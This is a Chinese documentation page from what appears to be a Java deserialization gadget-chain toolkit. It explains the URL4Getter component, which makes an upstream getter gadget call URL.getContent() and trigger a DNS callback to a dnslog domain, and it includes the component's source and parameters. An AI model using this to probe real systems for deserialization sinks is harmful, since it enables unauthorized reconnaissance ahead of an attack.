Skip to content

Latest commit

 

History

History
62 lines (48 loc) · 4.1 KB

File metadata and controls

62 lines (48 loc) · 4.1 KB

getter方法调用本链发起DNS请求(URL4Getter)

  • 类别:javanative 别名:— 优先级:—
  • 作者:—
  • 依赖jdk(纯 JDK,无第三方依赖)

作用

提供一个 java.net.URL 对象作为链尾载体:当上游 gadget 对它调用 getContent()(即 content 属性的 getter)时,URL 内部会解析主机并发起一次网络/DNS 请求。用于把「触发一次 getter」这一能力转换为「发起一次带 DNS 的出网探测」,并借 java.net.URL 在高版本 JDK 的行为差异辅助判断 JDK 版本。

链接标签

  • 入口 tagsSpecialPublicMethodJavaGetterGetterSerializableEND
    • Getter/JavaGetter —— 承接会「对内层对象调用某个 getter」的上一环(如 CommonsBeanutils1BeanComparatorVaadin1NestedMethodProperty 等)。
    • SpecialPublicMethod —— 触发的是一个指定名字的 public 方法(这里是 getContent),需上游按 context 注入的方法名去调用。
    • SerializableEND —— 自身可序列化、且为链尾。
  • 衔接 nextTags:无(链尾)。
  • excludes:无。

源码剖析

public String getterPropertyName = "content";
public String getterMethodName   = "getContent";

public Object getObject() throws MalformedURLException {
    return new URL("http://" + this.domain);
}

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    context.put(ContextTag.SPECIAL_METHOD_NAME_KEY, this.getterMethodName);
    context.put(ContextTag.GETTER_PARAM_NAME_KEY, this.getterPropertyName);
    return this.getObject();
}

逻辑极简,但设计上是「与上游握手」的典范:

  • getObject() 只是 new URL("http://" + domain),返回一个普通 URL 实例——它本身没有危险方法,危险在于被调用 getContent()URL.getContent() 会打开到 domain 的连接,从而先做一次主机名解析(DNS)再尝试取内容。
  • invoke 并不直接触发,而是把两条信息写回 GadgetContext
    • SPECIAL_METHOD_NAME_KEY = "getContent" —— 告诉上游 gadget「请调用这个方法」。
    • GETTER_PARAM_NAME_KEY = "content" —— 若上游是 property/getter 语义的 gadget(如 BeanComparator 按属性名反射 getter),则用属性名 content 定位到 getContent()
  • 由此,本 gadget 与上游解耦:上游无需硬编码要调哪个方法,从 context 读取即可。这与黄金范例 CommonsBeanutils1 里「property 由下游经 GETTER_PARAM_NAME_KEY 注入」的机制正好是发送端与接收端的两半。

由于返回值就是原始 URL,序列化时不含恶意字节码,流量上仅表现为一次对 domain 的 DNS/HTTP,故常用于探测反序列化点是否可达、目标是否出网,以及利用 URL 在不同 JDK 下的处理差异做版本旁证。

参数(@Param)

字段 名称 说明 默认 可选值
domain dnslog域名 拼成 http://<domain> 作为探测目标 xxx.dnslog.cn

getterPropertyNamegetterMethodName 为固定公开字段,非用户参数。)

适用版本与原理要点

  • 纯 JDK 实现,无第三方依赖;只要上游能对内层对象触发一个 getter/指定 public 方法即可组合。
  • URLDNS 的区别:URLDNS 自带 HashMap 触发器(靠 readObject → hashCode),是独立完整的 DNS 链;而 URL4Getter 不含触发器,须由上游的 Getter 型 gadget 驱动 getContent(),因此更像一个可插拔的「getter 目标」。
  • description 提示「使用了 java.net.URL 类,可以用来辅助判断高版本 JDK」——用于探测/指纹,而非直接 RCE。

所属预设链

自由构件,未直接出现在预设链(usedInChains 为空)。

关联

  • 上游(提供 Getter/SpecialPublicMethod 触发):CommonsBeanutils1Vaadin1 等 getter 驱动型 gadget。
  • 同类探测 sink:URLDNS(自带触发器的 DNS 探测)。